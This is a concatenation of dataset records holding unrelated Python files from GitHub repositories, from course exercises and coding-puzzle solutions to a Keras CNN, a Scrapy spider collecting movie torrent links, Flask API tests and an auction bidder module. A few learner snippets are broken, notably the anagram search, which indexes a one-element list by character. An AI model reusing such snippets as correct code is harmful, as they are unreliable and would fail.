raiz2)","repo_name":"layshidani/learning-python","sub_path":"lista-de-exercicios/Curso_IntroCiênciadaCompPythonParte 1_Coursera/SEMANA_3/S3EXOP2-raiz.py","file_name":"S3EXOP2-raiz.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"23609991735","text":"# 10.2 Write a program to read through the mbox-short.txt and \n# figure out the distribution by hour of the day for each of the messages.\n# You can pull the hour out from the 'From ' line by finding the time \n# and then splitting the string a second time using a colon.\n# From stephen.marquard@uct.ac.za Sat Jan 5 09:14:16 2008\n# Once you have accumulated the counts for each hour, \n# print out the counts, sorted by hour as shown below.\n\nfile_name= input ('Enter file name:\\n')\nif len (file_name) < 1: file_name = 'mbox-short.txt'\nhandle = open(file_name) # Python liest die Datei.\n\nhour_dic= dict ()\nfor line in handle:\n line = line.rstrip()\n words = line.split()\n if len (words) < 6 or words[0] != 'From' : continue\n time= words [5]\n hour= time[0:2]\n hour_dic [hour]=hour_dic.get (hour, 0) +1 # Worterbuch wird produziert.\n# print(hour_dic)\n\nhour_list= hour_dic.items ()\nshour_list= sorted (hour_list)\nfor k, v in shour_list:\n print (k, v)\n# print ( sorted ( [ (k,v) for k, v in hour_dic.items() ] ))\n\n# print(hour_list)\n# print (shour_list)","repo_name":"mehmet520/PythonForEverybody_Course","sub_path":"My-PythonCourse-File/ex.10.02.py","file_name":"ex.10.02.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4529972379","text":"import numpy as np\r\nimport pickle\r\nfrom keras.models import Sequential \r\nfrom keras.layers import Dense, Activation, Dropout, BatchNormalization, Conv2D, MaxPool2D, Flatten\r\nimport sys\r\nimport os\r\n\r\n\r\ndef main():\r\n\r\n train_sizes = np.arange(50e3, 250e3, 25e3, dtype=int)\r\n cv_sizes = np.arange(25e3, 125e3, 25e3, dtype=int)\r\n\r\n train_size=int(sys.argv[1])\r\n cv_size=int(sys.argv[2])\r\n\r\n use_full=bool(int(sys.argv[3]))\r\n\r\n if not use_full and (train_size not in train_sizes or cv_size not in cv_sizes):\r\n print('Invalid size fed')\r\n exit(1)\r\n\r\n batch_size=32\r\n epochs=150\r\n\r\n if use_full:\r\n path='train_data/'\r\n else:\r\n path='train_data_reduced/'\r\n\r\n\r\n\r\n #path_binary='/data/My Drive/Colab Notebooks/image forgery detection/k64 binary 25percent stride8/train_data/'\r\n #x_train_grayscale=np.load(path_grayscale+'x_train.npy')\r\n #x_cv_grayscale=np.load(path_grayscale+'x_cv.npy')\r\n\r\n #y_train_grayscale=np.load(path_grayscale+'y_train.npy')\r\n #y_cv_grayscale=np.load(path_grayscale+'y_cv.npy')\r\n\r\n if use_full:\r\n x_train=np.load(path+'x_train.npy')\r\n x_cv=np.load(path+'x_cv.npy')\r\n\r\n y_train=np.load(path+'y_train.npy')\r\n y_cv=np.load(path+'y_cv.npy')\r\n\r\n else:\r\n x_train = np.load(path + 'x_train_'+str(train_size)+'.npy')\r\n x_cv = np.load(path + 'x_cv_'+str(cv_size)+'.npy')\r\n\r\n y_train = np.load(path + 'y_train_'+str(train_size)+'.npy')\r\n y_cv = np.load(path + 'y_cv_'+str(cv_size)+'.npy')\r\n\r\n # Normalise\r\n x_train = x_train/255\r\n x_cv = x_cv/255\r\n\r\n\r\n cnn_model=Sequential()\r\n\r\n cnn_model.add(Conv2D(input_shape=(64, 64, 3), filters=20, kernel_size=4, strides=2, padding='valid',\r\n activation='relu', data_format='channels_last'))\r\n\r\n cnn_model.add(Conv2D(filters=15, kernel_size=3, strides=1, padding='valid', activation='relu',\r\n data_format='channels_last'))\r\n\r\n cnn_model.add(MaxPool2D(pool_size=3, data_format='channels_last'))\r\n\r\n cnn_model.add(Conv2D(filters=20, kernel_size=4, strides=2, padding='valid', activation='relu',\r\n data_format='channels_last'))\r\n\r\n cnn_model.add(MaxPool2D(pool_size=2, data_format='channels_last'))\r\n\r\n # cnn_model.add(Conv2D(filters=15, kernel_size=2, strides=1, padding='valid', activation='relu',\r\n # data_format='channels_last'))\r\n\r\n # cnn_model.add(Conv2D(filters=16, kernel_size=3, strides=1, padding='valid', activation='relu',\r\n # data_format='channels_last'))\r\n\r\n # cnn_model.add(Conv2D(filters=16, kernel_size=3, strides=1, padding='valid', activation='relu',\r\n # kernel_initializer='he_normal', data_format='channels_last'))\r\n\r\n cnn_model.add(Flatten())\r\n\r\n cnn_model.add(Dropout(0.2))\r\n\r\n cnn_model.add(Dense(1, activation='sigmoid'))\r\n\r\n cnn_model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\r\n cnn_model.summary()\r\n\r\n history = cnn_model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, verbose=1,\r\n validation_data=(x_cv, y_cv))\r\n\r\n cnn_model.save('keras_cnn_model_redone.h5')\r\n\r\nif __name__=='__main__':\r\n main()\r\n","repo_name":"vishu160196/image-forgery-detection","sub_path":"keras_cnn.py","file_name":"keras_cnn.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"67"} +{"seq_id":"19291352828","text":"import io\n\nimport os\nimport time\n\n\n\nimport subprocess\n\nimport sdi_utils.gensolution as gs\nimport sdi_utils.set_logging as slog\nimport sdi_utils.textfield_parser as tfp\nimport sdi_utils.tprogress as tp\n\ntry:\n api\nexcept NameError:\n class api:\n class Message:\n def __init__(self,body = None,attributes = \"\"):\n self.body = body\n self.attributes = attributes\n \n def send(port,msg) :\n if port == outports[1]['name'] :\n print(msg.body)\n\n class config:\n ## Meta data\n config_params = dict()\n tags = {'sdi_utils':''}\n version = \"0.1.0\"\n\n operator_description = \"Repl. Dispatch Test Tables\"\n operator_name = 'repl_dispatch_test_tables'\n operator_description_long = \"Dispatch test tables for incremental updates.\"\n add_readme = dict()\n debug_mode = True\n config_params['debug_mode'] = {'title': 'Debug mode',\n 'description': 'Sending debug level information to log port',\n 'type': 'boolean'}\n\n\ndef process(msg) :\n\n\n att = dict(msg.attributes)\n att['operator'] = 'repl_dispatch_test_tables'\n\n logger, log_stream = slog.set_logging(att['operator'], loglevel=api.config.debug_mode)\n logger.debug('Attributes: {} - {}'.format(str(msg.attributes),str(att)))\n\n repl_tables = [ r[0] for r in msg.body]\n\n att['table_repository'] = msg.attributes['table']['name']\n att['num_tables'] = len(repl_tables)\n\n # case no repl tables provided\n if len(repl_tables) == 0 :\n logger.warning('No replication tables yet provided!')\n api.send(outports[0]['name'], log_stream.getvalue())\n return 0\n\n for i,t in enumerate(repl_tables) :\n tab_att = dict(msg.attributes)\n tab_att['replication_table'] = t\n tab_att['message.lastBatch'] = True if i == len(repl_tables) - 1 else False\n\n table_msg = api.Message(attributes= tab_att,body = t)\n api.send(outports[1]['name'], table_msg)\n\n logger.info('Dispatch table: {} ({}/{})'.format(tab_att['replication_table'],i,len(repl_tables)))\n api.send(outports[0]['name'], log_stream.getvalue())\n log_stream.seek(0)\n log_stream.truncate()\n\n\ninports = [{'name': 'tables', 'type': 'message.table',\"description\":\"List of tables\"}]\noutports = [{'name': 'log', 'type': 'string',\"description\":\"Logging data\"}, \\\n {'name': 'trigger', 'type': 'message',\"description\":\"trigger\"}]\n\n\n#api.set_port_callback(inports[0]['name'], process)\n\n\ndef test_operator() :\n\n att = {\"table\":{\"columns\":[{\"class\":\"string\",\"name\":\"TABLE\",\"nullable\":False,\"size\":100,\"type\":{\"hana\":\"NVARCHAR\"}},\\\n {\"class\":\"integer\",\"name\":\"LATENCY\",\"nullable\":True,\"type\":{\"hana\":\"INTEGER\"}}],\\\n \"name\":\"repository\",\"version\":1}}\n\n data = [[\"REPLICATION.DOC_METADATA_REPL\",0],[\"REPLICATION.TEXT_WORDS_REPL\",2],[\"REPLICATION.WORD_INDEX_REPL\",1],[\"REPLICATION.WORD_SENTIMENT_REPL\",5]]\n\n msg = api.Message(attributes=att, body=data)\n process(msg)\n\nif __name__ == '__main__':\n test_operator()\n if True:\n subprocess.run([\"rm\", '-r','../../../solution/operators/sdi_replication_' + api.config.version])\n gs.gensolution(os.path.realpath(__file__), api.config, inports, outports)\n solution_name = api.config.operator_name + '_' + api.config.version\n subprocess.run([\"vctl\", \"solution\", \"bundle\",'../../../solution/operators/sdi_replication_' + api.config.version, \\\n \"-t\", solution_name])\n subprocess.run([\"mv\", solution_name + '.zip', '../../../solution/operators'])\n\n\n\n","repo_name":"thhapke/di_replication","sub_path":"deprecated/repl_dispatch_test_tables/repl_dispatch_test_tables.py","file_name":"repl_dispatch_test_tables.py","file_ext":"py","file_size_in_byte":3773,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"42925047235","text":"# import sys\n# from collections import deque\n\n# input = sys.stdin.readline\n\n# def strList(arr):\n# string_list = []\n# for i in range(len(arr[0])):\n# temp = ''\n# for j in range(len(arr)):\n# temp += arr[j][i]\n# string_list.append(temp)\n# return string_list\n \n\n# r,c = map(int,input().split())\n\n# strings = deque()\n# for _ in range(r):\n# word = str(input().rstrip())\n# strings.append(word)\n\n# answer = -1\n# while True: \n# temp = strList(strings)\n# if len(list(set(temp))) != len(temp):\n# print(answer)\n# break\n# strings.popleft()\n# if len(strings) == 0:\n# print(answer+1)\n# break\n \n# answer +=1\n\n# from collections import defaultdict\n# R,C = map(int,input().split())\n# arr = [list(input()) for _ in range(R)]\n\n# result = 0\n# start, end = 0, R-1\n# while start <= end:\n# mid = (start+end)//2\n\n# # 문자열 중복 확인\n# isOK = True\n# dict = defaultdict(int)\n# print(dict)\n# for j in range(C):\n# temp = ''\n# for i in range(mid, R):\n# temp += str(arr[i][j])\n# if not dict[temp]:\n# dict[temp] += 1\n# else:\n# isOK = False\n# break\n\n# if isOK:\n# result = mid\n# start = mid + 1\n# else:\n# end = mid - 1\n\n# print(result)\n\n# 세로로 문자열들을 모두 뽑아온다음에 reverse후 정렬한다음 인접한 것끼리 몇개가 겹치는지 최대값을 찾아주면 된다.\n\nimport sys\n\ninput = sys.stdin.readline\n\nr,c = map(int,input().split())\nstrings = [list(str(input().rstrip())) for _ in range(r)]\n\nnew_strings = []\nfor j in range(c):\n temp = ''\n for i in range(r-1,-1,-1):\n temp += strings[i][j]\n new_strings.append(temp)\n\nanswer = 0\nfor i in range(c):\n a = new_strings[i]\n for j in range(i,c):\n if i == j: continue\n count = 0\n b = new_strings[j]\n \n for idx in range(r):\n if a[idx] != b[idx]:\n break\n count += 1\n\n answer = max(answer, count)\n\n \nprint(r-1 if answer == 0 else r-(answer + 1))\n\n# 4 6\n# mrvica\n# mrvica\n# marica\n# mateja\n\n# 3 4\n# alfa\n# zeta\n# beta\n\n# # 2\n# 3 4\n# beta\n# zeta\n# alfa\n\n","repo_name":"Junnjjj/Algorithm","sub_path":"Sample_Question/String/2866.py","file_name":"2866.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4391294881","text":"import sys\n\ntemp = list(map(int, sys.stdin.readline().split()))[0]\n\ndef solution(temp: int) -> int:\n cnt = 0\n result = temp\n temp = str(temp)\n\n while 1:\n if len(temp) == 1:\n temp = '0' + temp\n \n first = temp[1]\n second = int(temp[0]) + int(temp[1])\n if len(str(second)) == 1:\n temp = first + str(second)\n else:\n temp = first + str(second)[1]\n cnt += 1\n\n if int(temp) == result:\n break\n\n return cnt\n\nprint(solution(temp))","repo_name":"Carrotww/Carrot_Algorithm","sub_path":"2022/22_09/2022_09_05_baek_1110_더하기 사이클_hyeong.py","file_name":"2022_09_05_baek_1110_더하기 사이클_hyeong.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72001517334","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport re\nfrom ..items import MoviebtItem\n\nclass MovieBtSpider(scrapy.Spider):\n name = 'movie_bt'\n\n def start_requests(self):\n urls=['https://www.80s.tw/movie/list']\n\n for url in urls:\n yield scrapy.Request(url=url,callback=self.parse_urls)\n \n def parse_urls(self,response):\n \n for url in response.css('div#block3 li h3 a::attr(href)').extract():\n yield response.follow(url,self.parse)\n \n next_page=response.xpath('//*[@id=\"block3\"]/div[3]/div/a/@href').extract()\n if len(next_page)!=0:\n yield response.follow(next_page[-2],self.parse_urls)\n\n def parse(self, response):\n item=MoviebtItem()\n\n title=response.xpath('//title//text()').extract_first()[1:]\n item['name']=title.split(' ')[0]\n item['year']=re.findall(r'\\((.*?)\\)',title)[0]\n item['url']=response.url\n item['score']=response.xpath('//*[@id=\"minfo\"]/div[2]/div[2]/span[1]/text()').extract()[2].strip()\n item['tags']=response.xpath('//*[@id=\"minfo\"]/div[2]/div[1]/span[1]/a/text()').extract()\n item['comments']=response.xpath('//*[@id=\"minfo\"]/div[2]/div[2]/span[2]/a/@href').extract_first()\n item['bts']=response.xpath('//*[@id=\"myform\"]/ul/li/span[2]/a/@href').extract()\n\n return item","repo_name":"xxiaocheng/80sMovieBt","sub_path":"movieBt/movieBt/spiders/movie_bt.py","file_name":"movie_bt.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10720528703","text":"class Solution:\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n if len(nums) <= 2: return []\n nums.sort()\n if nums[0] > 0 or nums[-1] < 0: return []\n result = []\n prev = nums[0]\n for (ind, num) in enumerate(nums[:-2]):\n if(ind > 0 and num == prev): continue\n result += self.twoSum(nums[ind + 1:], num)\n prev = num\n return result\n \n def twoSum(self, nums, sum):\n start = 0\n end = len(nums) - 1\n res = []\n while start < end:\n if nums[start] + nums[end] < -1*sum:\n start += 1\n elif nums[start] + nums[end] > -1*sum:\n end -= 1\n else:\n res.append([nums[start], nums[end], sum])\n while start < end and nums[start] == nums[start + 1]: start += 1\n while start < end and nums[end] == nums[end - 1]: end -= 1\n start += 1\n end -= 1\n return res","repo_name":"gkamboj/LeetCode","sub_path":"0015-3sum/15-3sum.py","file_name":"15-3sum.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34630975681","text":"def anagram_search(str,pattern):\n str_arr=[0*256]\n patt_arr=[0*256]\n for i in range(len(pattern)):\n str_arr[str[i]]+=1\n patt_arr[pattern[i]]+=1\n \n for i in range(len(pattern),len(str)):\n if str_arr==patt_arr:\n return True\n else:\n str_arr[str[i]]+=1\n str_arr[str[i-len(pattern)]]-=1\n return False","repo_name":"rameshpav1321/data_structures_and_algorithms","sub_path":"string/10.anagram_search.py","file_name":"10.anagram_search.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21650065813","text":"import numpy as np\nfrom src.agent.conf_loader import TetrisConfLoader\n\n\nclass TetrisAgent:\n def __init__(self):\n self.board_height = 20\n self.board_width = 10\n self.upper_blank = 3\n self.board = np.zeros((self.board_height + self.upper_blank, self.board_width))\n self.piece_num = 7\n self.now_piece = None\n self.now_position = None\n self.end = False\n loader = TetrisConfLoader()\n self.piece_color = {\n 0: \"#ffffff\",\n 1: \"#ffa500\",\n 2: \"#0000ff\",\n 3: \"#ffff00\",\n 4: \"#800080\",\n 5: \"#ff0000\",\n 6: \"#00ff00\",\n 7: \"#00ffff\"\n }\n self.pieces = {\n 1: np.array([\n [0, 0, 0],\n [0, 0, 1],\n [1, 1, 1]\n ]),\n 2: np.array([\n [0, 0, 0],\n [2, 0, 0],\n [2, 2, 2]\n ]),\n 3: np.array([\n [3, 3],\n [3, 3]\n ]),\n 4: np.array([\n [0, 0, 0],\n [0, 4, 0],\n [4, 4, 4]\n ]),\n 5: np.array([\n [0, 0, 0],\n [5, 5, 0],\n [0, 5, 5]\n ]),\n 6: np.array([\n [0, 0, 0],\n [0, 6, 6],\n [6, 6, 0]\n ]),\n 7: np.array([\n [0, 0, 0, 1],\n [0, 0, 0, 1],\n [0, 0, 0, 1],\n [0, 0, 0, 1],\n ])\n }\n\n @staticmethod\n def rotate_right(piece):\n return np.rot90(piece, k=3)\n\n @staticmethod\n def rotate_left(piece):\n return np.rot90(piece, k=1)\n\n def move_down(self, piece_pos):\n self.board[self.board < 0] = 0\n piece_pos[:, 0] += 1\n\n def select_random_block(self):\n return self.pieces[np.random.randint(1, self.piece_num + 1)]\n\n def move_able(self):\n return\n\n def rotate_able(self):\n return\n\n def set_random_block(self):\n self.now_piece = self.select_random_block()\n","repo_name":"bubbleman3333/tetris","sub_path":"src/test/board_agent.py","file_name":"board_agent.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28485649021","text":"import pytest\nfrom tests.helper import client\nfrom tests.factory_class import ClienteFactory\n#importar Cliente\n\nclass TestCliente:\n #POST\n def test_deve_retornar_201_e_objeto_criado_com_id_quando_usado_metodo_post_com_playload_correto(self, client):\n\n cliente = ClienteFactory.build()\n retorno = client.post(\"/api/clientes\", json=cliente.serialize())\n\n assert 201 == retorno.status_code\n assert [cliente.serialize().keys()]\n assert set(cliente.serialize().keys()) and set(retorno.json.keys())\n assert \"clienteid\" in retorno.json.keys()\n \n def test_deve_retornar_400_quando_usado_metodo_post_com_payload_incorreto(self, client):\n\n cliente2 = ClienteFactory.build()\n cliente2.numero = 'Dois'\n retorno2 = client.post(\"/api/clientes\", json=cliente2.serialize())\n\n assert 400 == retorno2.status_code\n assert 'Dois' in retorno2.json\n\n #GET \n def test_deve_retornar_200_e_lista_de_clientes(self, client):\n \n retorno = client.get('/api/clientes')\n\n assert retorno.status_code == 200\n assert isinstance(retorno.json, list)\n\n def test_deve_retornar_um_cliente_em_dict_quando_passado_id_valido(self, client):\n\n cliente = ClienteFactory.build()\n client.post('/api/clientes', json=cliente.serialize())\n\n retorno = client.get('/api/clientes/1')\n\n assert retorno.status_code == 200\n assert retorno.json.keys()==cliente.serialize().keys()\n\n def test_deve_retornar_404_quando_for_buscado_um_id_inexistente(self, client):\n \n retorno = client.get(\"/api/clientes/999999\")\n\n assert retorno.status_code == 404\n\n #UPDATE - PUT\n def test_deve_retornar_200_e_objeto_alterado_quando_alterado_com_sucesso(self, client):\n\n cliente = ClienteFactory.build()\n cliente_criado = client.post(\"/api/clientes\", json=cliente.serialize())\n cliente.nome = 'João'\n retorno = client.put(f\"/api/clientes/{cliente_criado.json['clienteid']}\", json=cliente.serialize())\n\n assert 200 == retorno.status_code\n assert cliente_criado.json.keys() == retorno.json.keys()\n assert cliente.nome == retorno.json.get('nome')\n\n def test_deve_retornar_400_quando_tipos_invalidos_forem_enviados(self, client):\n\n cliente = ClienteFactory.build()\n cliente_criado = client.post(\"/api/clientes\", json=cliente.serialize())\n valores_a_alterar = {'name': 'Paulo', 'age': '27'}\n retorno = client.put(f\"/api/clientes/{cliente_criado.json.get('clienteid')}\", json=valores_a_alterar)\n\n assert 400 == retorno.status_code\n #assert 'error' in retorno.json\n\n def test_deve_retornar_404_quando_id_a_alterar_nao_existir(self, client):\n\n retorno = client.put(\"/api/clientes/999999999\", json={})\n\n assert 404 == retorno.status_code\n\n #DELETE\n def test_deve_retornar_204_quando_objeto_deletado_com_sucesso(self, client):\n\n cliente = ClienteFactory.build()\n cliente_criado = client.post(\"/api/clientes\", json=cliente.serialize())\n retorno = client.delete(f\"/api/clientes/{cliente_criado.json['clienteid']}\")\n\n assert 204 == retorno.status_code\n\n def test_deve_retornar_404_quando_id_deletado_nao_existir(self, client):\n\n retorno = client.delete(\"/api/clientes/999999999\")\n\n assert 404 == retorno.status_code\n assert 'Referencia' in retorno.json\n","repo_name":"TyphonBak/SuitTech-Project","sub_path":"tests/rotas/test_cliente.py","file_name":"test_cliente.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"38043673701","text":"import numpy as np\nimport pandas as pd\nimport streamlit as st\nfrom sklearn.svm import OneClassSVM\n\nfrom utils.info_messages import get_key_error_message_info\n\n\ndef svm_anomaly_scores(obs):\n oc_svm = OneClassSVM(gamma=\"auto\").fit(obs)\n scores = oc_svm.decision_function(obs).flatten()\n\n # Find the largest score and use it to normalize the scores\n max_score = np.max(np.abs(scores))\n\n # scores from oc_svm use \"negative is anomaly\"\n # To follow our previous convention\n # we multiply by -1 and divide by the maximum score to get scores\n # in the range [-1, 1] with positive values indicating anomalies\n return -scores / max_score\n\n\nst.sidebar.info(get_key_error_message_info())\n\nst.title(\n \"Exercício 3 - Aplicar SVM nos dados de meteorologia e imprimir as top 5 anomalias\"\n)\nst.subheader(\"Visualização do Dataset\")\n\nif \"weather_df_exercise3\" not in st.session_state:\n weather_df = pd.read_csv(\"datasets/mediadiaria.csv\")\n st.session_state[\"weather_df_exercise3\"] = weather_df\n\nweather_df = st.session_state.get(\"weather_df_exercise3\")\nst.dataframe(weather_df)\n\nst.subheader(\"Adicionando Temperaturas Anômalas ao Dataset\")\nst.code(\n \"\"\"\n anomaly_temps = [87.5, 103.9, 54.1, 27.431610, 27.431610]\n anomaly_years = [2011, 2015, 2016, 2017, 2018]\n for index, temp in enumerate(anomaly_temps):\n weather_df.loc[index, [\"ano\", \"temp\"]] = [anomaly_years[index], temp]\n\n weather_df.head()\n\"\"\"\n)\n\nanomaly_temps = [87.5, 103.9, 54.1, 27.431610, 27.431610]\nanomaly_years = [2011, 2015, 2016, 2017, 2018]\nfor index, temp in enumerate(anomaly_temps):\n weather_df.loc[index, [\"ano\", \"temp\"]] = [anomaly_years[index], temp]\n\nst.dataframe(weather_df.head())\n\nst.subheader(\"Conversão de Datas\")\nst.code(\n \"\"\"\ndatetime_series = pd.to_datetime(\n weather_df[[\"ano\", \"mes\", \"dia\"]].rename(columns={\"ano\": \"year\", \"mes\": \"month\", \"dia\": \"day\"})\n)\n\nweather_df[\"datetime\"] = datetime_series\nweather_df.head()\n\"\"\"\n)\n\ndatetime_series = pd.to_datetime(\n weather_df[[\"ano\", \"mes\", \"dia\"]].rename(\n columns={\"ano\": \"year\", \"mes\": \"month\", \"dia\": \"day\"}\n )\n)\n\nweather_df[\"datetime\"] = datetime_series\nst.dataframe(weather_df.head())\n\nst.subheader(\"Agrupando temperaturas por ano\")\nst.code(\n \"\"\"\nyear_grouper = pd.Grouper(key=\"datetime\", freq=\"A\")\nweather_grouped_by_year_df = weather_df.groupby(year_grouper).max()\n\nweather_grouped_by_year_df.head()\n\"\"\"\n)\n\nyear_grouper = pd.Grouper(key=\"datetime\", freq=\"A\")\nweather_grouped_by_year_df = weather_df.groupby(year_grouper).max()\n\nst.dataframe(weather_grouped_by_year_df.head())\n\nst.subheader(\"\"\"Visualizando as anomalias\"\"\")\nst.code(\n \"\"\"\ntemperature_series = weather_grouped_by_year_df[[\"ano\", \"temp\"]].sort_values(by=\"ano\")\ntemperature_series\n\"\"\"\n)\n\ntemperature_series = weather_grouped_by_year_df[[\"ano\", \"temp\"]].sort_values(by=\"ano\")\nst.dataframe(temperature_series)\n\nst.code(\n \"\"\"\ntemperature_array = np.array(temperature_series)\ntop_n_anomalies = svm_anomaly_scores(temperature_array).argsort()[:top_anomalies]\n\nst.write(f\"Top {top_anomalies} Anomalias\")\n\nfor anomaly in top_n_anomalies:\n st.write(f\"Ano: {int(temperature_array[anomaly][0])}, Temperatura: {round(temperature_array[anomaly][1], 2)}\")\n\"\"\"\n)\n\ntop_anomalies = st.number_input(\n \"Quantidade de Anomalias\", value=3, step=1, min_value=1, max_value=5\n)\ntemperature_array = np.array(temperature_series)\ntop_n_anomalies = svm_anomaly_scores(temperature_array).argsort()[:top_anomalies]\n\nst.write(f\"Top {top_anomalies} Anomalias\")\n\nfor anomaly in top_n_anomalies:\n st.write(\n f\"Ano: {int(temperature_array[anomaly][0])}, Temperatura: {round(temperature_array[anomaly][1], 2)}\"\n )\n","repo_name":"stevillis/anomaly-detection-ufmt","sub_path":"pages/Exercise_3.py","file_name":"Exercise_3.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3243851240","text":"#!usr/bin/env python\nimport setting \nimport math\n\n# TODO thread safe (dict)\nclass BidderCore(object):\n\t\"\"\" init with factory pattern , bider_params {param : values}\"\"\"\n\tdef __init__(self, factory, bidder_params):\n\t\tself.factory = factory\n\t\t# M parameters\n\t\tself.basic_preference = setting.BIDDER_BASIC_TH if not 'theta' in bidder_params else bidder_params['theta']\n\t\tself.valuation_kqv = setting.BIDDER_K_QV if not 'kqv' in bidder_params else bidder_params['kqv']\n\t\tself.valuation_kbuf = setting.BIDDER_K_BUF if not 'kbuf' in bidder_params else bidder_params['kbuf']\n\t\tself.k_theta = bidder_params['ktheta']\n\t\tself.k_br = bidder_params['kbr']\n\t\tself.k_capacity = bidder_params['kcapacity']\n\t\tself.a_link = bidder_params['alink']\n\t\tself.a_buf = bidder_params['abuf']\n\t\tself.max_buffer_size = setting.BIDDER_MAX_BUF if not 'mbuf' in bidder_params else bidder_params['mbuf']\n\t\tself.previous_bitrate = bidder_params['prate']\n\t\t# M's f(r)\n\t\tself.valuations = {}\n\t\tfr = 1.0\n\t\tfor r in self.factory.player.get_rate_list():\n\t\t\tself.valuations[r] = fr\n\t\t\tfr += 1.0\n\t\t# Global Informations\n\t\tself.g_capacities = {}\n\t\tself.g_bidder_number = bidder_params['bnumber']\n\n\t\"\"\" event handler \"\"\"\n\t# bid to auction @return bid : [a_peer, a_index, bid_details]\n\tdef bid2auction(self, auction):\n\t\t# buffer gap\n\t\tcurrent_buffer_size = self.factory.buffer_size()\n\t\tif current_buffer_size > self.max_buffer_size:\n\t\t\treturn None\n\t\t# unpack parameters\n\t\tauction_peer,auction_index,segments,capacity,cti,cda,cwda = auction.split(',')\n\t\tauction_index = auction_index\n\t\tsegments = int(segments)\n\t\tcapacity = float(capacity) * self.k_capacity\n\t\tcti = float(cti)\n\t\tcda = float(cda)\n\t\tif auction_peer == self.factory.peername:\n\t\t\tcwda = 0.0\n\t\telse:\n\t\t\tcwda = float(cwda)\n\t\tself.g_capacities[auction_peer] = capacity\n\t\t# decide whether to bid\n\t\tif capacity == 0:\n\t\t\treturn None\n\t\tif capacity < self.a_link*sum(self.g_capacities.values())/self.g_bidder_number and current_buffer_size < self.a_buf*self.previous_bitrate*self.factory.player.get_segment_duration()/capacity:\n\t\t\treturn None\n\t\t# calculate bitrates vector and prices vector\n\t\tbitrates = []\n\t\tprices = []\n\t\tgains = []\n\t\tbrake = 0\n\t\tfor k in range(segments):\n\t\t\tif brake or current_buffer_size + (k+1)*self.factory.player.get_segment_duration() > self.max_buffer_size:\n\t\t\t\tbitrates.append(0)\n\t\t\t\tprices.append(0)\n\t\t\t\tgains.append(0)\n\t\t\t\tbrake = 1\n\t\t\t\tcontinue\n\t\t\trk = max(self.factory.player.get_rate_list(), key =lambda r : self.utility(r, k+1, capacity, cti) - self.cost(r,k+1,capacity, cti, cda, cwda))\n\t\t\tbitrates.append(rk)\n\t\t\tprice = self.utility(rk, k+1, capacity, cti)\n\t\t\tprices.append(price)\n\t\t\tgains.append(price - self.cost(rk,k+1,capacity, cti, cda, cwda))\n\t\treturn (auction_peer, auction_index, (bitrates, prices, gains))\n\n\tdef update_previous(self, rate):\n\t\tself.previous_bitrate = rate/1024/1024\n\n\t# functions\n\t# utility (assert capacity > 0)\n\tdef utility(self, rate, k, capacity, cti):\n\t\tmrate = float(rate) / 1024 / 1024 \n\t\tkb = k*self.factory.player.get_segment_duration()\n\t\t#depracated 1.0 : a = kb * math.log(1+self.preference()*self.valuation[rate])\n\t\t#a = kb * math.log(1+math.sqrt(self.preference())*self.valuation(rate, cti))\n\t\ta = kb * math.log(1 + self.preference() + self.valuation(rate, cti))\n\t\tb = self.valuation_kqv*(self.previous_bitrate - mrate) if self.previous_bitrate - rate > 0 else 0\n\t\tT = k*self.factory.player.get_max_rate() /1024/1024/capacity\n\t\tbuffer_current = self.factory.buffer_size() \n\t\tc1 = buffer_current - T if buffer_current-T > 0 else 0\n\t\tc = self.valuation_kbuf*(2*kb*(self.max_buffer_size - c1) - kb*kb)\n\t\treturn a - b + c\n\n\t# cost (assert capacity > 0)\n\tdef cost(self, rate, k, capacity, cti, cda, cwda):\n\t\tmrate = float(rate) / 1024 / 1024\n\t\tkbr = k * self.factory.player.get_segment_duration() * mrate\n\t\treturn cti * kbr / capacity + cda * kbr + cwda * kbr\n\n\t# preference\n\tdef preference(self):\n\t\t#return self.basic_preference + self.k_theta * self.factory.buffer_size() / self.max_buffer_size\n\t\treturn self.basic_preference + self.k_theta * self.max_buffer_size / (self.factory.buffer_size() + self.factory.player.get_segment_duration())\n\n\t# f(r)\n\tdef valuation(self, rate, cti):\n\t\t''' deprecated r = float(rate) / 1024 / 1024\n\t\treturn self.k_br / math.sqrt(self.basic_preference + 0.5*self.k_theta) * math.exp(r *cti + r*r - 1)\n\t\t'''\n\t\t#return self.valuations[rate]\n\t\t#return 0.5 +float(rate) / 1024 / 1024\n\t\treturn 3*math.log(1+float(rate)/1024/1024)\n\t\t#return 2.0*math.log(1+float(rate)/1024/1024)\n\n# unit test\nif __name__==\"__main__\":\n\tbidder = 'Bidder()' #Bidder()\n\tcore = 